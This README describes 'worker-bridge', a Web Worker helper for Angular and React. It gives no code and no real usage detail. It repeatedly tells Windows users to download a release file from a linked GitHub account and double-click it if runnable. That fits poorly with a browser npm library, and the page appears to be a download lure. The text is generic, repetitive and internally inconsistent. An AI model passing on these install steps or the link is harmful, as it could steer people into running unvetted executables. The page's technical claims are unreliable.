worker-bridge helps you use Web Workers in a simple way. It is made for Angular and React apps. It lets you call worker code like a regular method, without a lot of setup.
Use it when you want to keep your app smooth while heavy work runs in the background.
To get worker-bridge on Windows, visit the release page and download the latest file from there:
Download worker-bridge releases
After the download finishes:
- Open the downloaded file or folder.
- Follow the install steps shown on the release page.
- Add the package to your Angular or React project if you are setting up a development build.
- Start your app and use the worker bridge features in your code.
If the release includes a Windows app package, open it and follow the on-screen steps. If it includes source files or a package archive, place them in the folder used for your project.
worker-bridge gives your app a clean way to move work into a Web Worker. A worker runs tasks in the background so your main page stays fast and responsive.
It is useful for tasks such as:
- data processing
- large list handling
- image or file work
- repeated calculations
- background jobs in Angular or React
The goal is simple: make worker use feel close to a normal function call.
- Works with Angular
- Works with React
- Supports Dedicated Workers
- Supports Shared Workers
- Keeps setup light
- Uses a reactive style for updates
- Helps reduce UI slowdowns
- Fits small and large apps
- Keeps worker code easier to manage
Use a Windows PC with a modern browser and a current version of your app tools.
You should also have:
- an Angular or React project
- a stable internet connection
- permission to download files
- enough free space for the release files
If you plan to use worker-bridge in a project, make sure your app already runs on your computer before you add this package.
worker-bridge sits between your app and a worker. Your app sends work to the worker. The worker does the task in the background. Then the result comes back to your app.
This helps when a task takes time and you do not want the screen to freeze.
The process is simple:
- Your app sends a task.
- worker-bridge passes it to a worker.
- The worker handles the task.
- Your app gets the result.
Follow these steps on Windows:
- Open the release page.
- Download the latest release file.
- Save it in a folder you can find again.
- Open File Explorer.
- Go to the folder where the file downloaded.
- Double-click the file if it is a runnable package.
- If it is a project file or archive, open it with the tool that matches the file type.
- Follow the setup steps for your project.
If you are using it in a web app project, place the package or source files in your project folder and link them in your app setup.
worker-bridge is made to feel simple in day-to-day work. You create a worker task, call it from your app, and use the result when it returns.
Typical use cases:
- run a search in the background
- process a large set of records
- handle shared tasks across tabs
- keep UI code clear
- split slow work away from the main screen
If you work with Angular, you can connect it to your service or component code. If you work with React, you can use it from your component logic.
A common project setup may include:
src/for app codeworkers/for worker filescomponents/for UI partsservices/for shared app logicassets/for files and images
A clean folder structure makes worker code easier to find and update.
Use worker-bridge when you want to move slow tasks out of a component and keep the page responsive.
Use worker-bridge when you want to keep your UI smooth while a background task runs.
Use a Shared Worker when more than one tab or part of the app needs the same background task.
Use a Dedicated Worker when one page or one user action needs its own worker.
Web Workers can be hard to wire up by hand. worker-bridge lowers that effort. It keeps the worker flow simple and gives you a cleaner way to pass messages back and forth.
That can help if you want:
- less setup
- less repeated code
- clearer app structure
- smoother screen updates
- easier worker calls
This project fits topics such as:
- Angular
- React
- worker threads
- Web Workers
- Shared Workers
- library boilerplate
- npm package work
- worker-based app design
Before you start using it in your app, check these items:
- You downloaded the release from the link above.
- You opened the correct file type.
- Your app runs on Windows.
- Your project folder is ready.
- You know where your worker files will live.
- You have the worker-bridge package or source files in place.
- You can start your app and test the worker flow.
If the app does not run as expected, check these items:
- Make sure you downloaded the latest release.
- Confirm the file finished downloading.
- Check that you opened the right file type.
- Make sure your project is using a supported Angular or React setup.
- Look for path mistakes in worker file names.
- Restart your app after setup changes.
- Try a simple worker task first before using large data sets
Use this link to get the latest download:
https://github.com/hardcopycortex461/worker-bridge/releases
Release files may include:
- packaged downloads
- source files
- setup files
- project assets
- build output for app use
Pick the file that matches your goal. If you only need to try the project, start with the latest release file from the release page.
For the best setup:
- keep your project folder simple
- use clear file names
- test one worker at a time
- start with a small task
- confirm the result before moving to larger jobs
A simple workflow looks like this:
- Download the release.
- Open or place the files in your project.
- Add the worker to your app.
- Call the worker from Angular or React.
- Read the result in your UI.
- Repeat with other tasks as needed